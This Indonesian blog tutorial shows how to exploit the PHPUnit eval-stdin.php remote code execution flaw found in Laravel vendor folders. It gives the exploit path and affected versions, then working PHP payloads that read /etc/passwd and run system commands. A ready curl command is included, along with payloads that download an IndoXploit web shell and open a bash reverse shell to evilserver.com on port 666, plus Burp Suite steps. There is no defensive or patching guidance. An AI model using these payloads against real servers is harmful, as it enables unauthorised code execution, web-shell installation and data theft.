Laravel PHPUnit Remote Code Execution

Laravel PHPUnit Remote Code Execution. Sebenarnya ini bug sudah lama banget. Tapi jujur saja saya juga gak tau karena memang sudah jarang banget update masalah exploit. Nah karena exploit ini kembali rame, akhirnya saya coba share aja deh di blog barangkali ada yang belum tau. Celah ini sebenarnya terletak pada vendor third party yakni PHPUnit, bukan dari Laravelnya.

  • Vuln: eval-stdin.php
  • Full Path Exploit : http://target/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
  • Affected versions : Before 4.8.28 and 5.x before 5.6.3

Disini kalian bebas untuk mengirim datanya menggunakan Burp Suite, Postman, atau curl pun bisa. Disini saya share yang pake curl dulu karena menurut saya ini yang paling simple.

Gunakan parameter -d atau –data untuk mengirim payloadnya. Payload yang bisa digunakan:

<?php system('tail /etc/passwd'); ?>
<?php echo php_uname(); ?>
<?php show_source('/etc/passwd'); ?>

Contoh command

curl -d "<?php echo php_uname(); ?>" http://webtarget/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Kalau ingin spawn shell ya tinggal diubah payloadnya menjadi wget misalnya

<?php system('wget https://raw.githubusercontent.com/linuxsec/indoxploit-shell/master/shell-v3.php'; ?>

Atau diubah ke perintah untuk backconnect

<?php system('bash -i >& /dev/tcp/evilserver.com/666 0>&1');?>

Lalu di evil server dilisten ke port 666.

Atau, kalian bisa menggunakan Burpsuite.

Intercept, lalu kirim requestnya ke repeater.

Lalu klik menu Repeater, masukkan payloadnya dibawah, dan klik tombol Go.

Untuk responnya bisa dilihat di sebelah kolom request (sebelah kanan).

Oke mungkin itu saja tutorial kali ini, sekian dan semoga bermanfaat.

Shares

9 Comments

Leave a Reply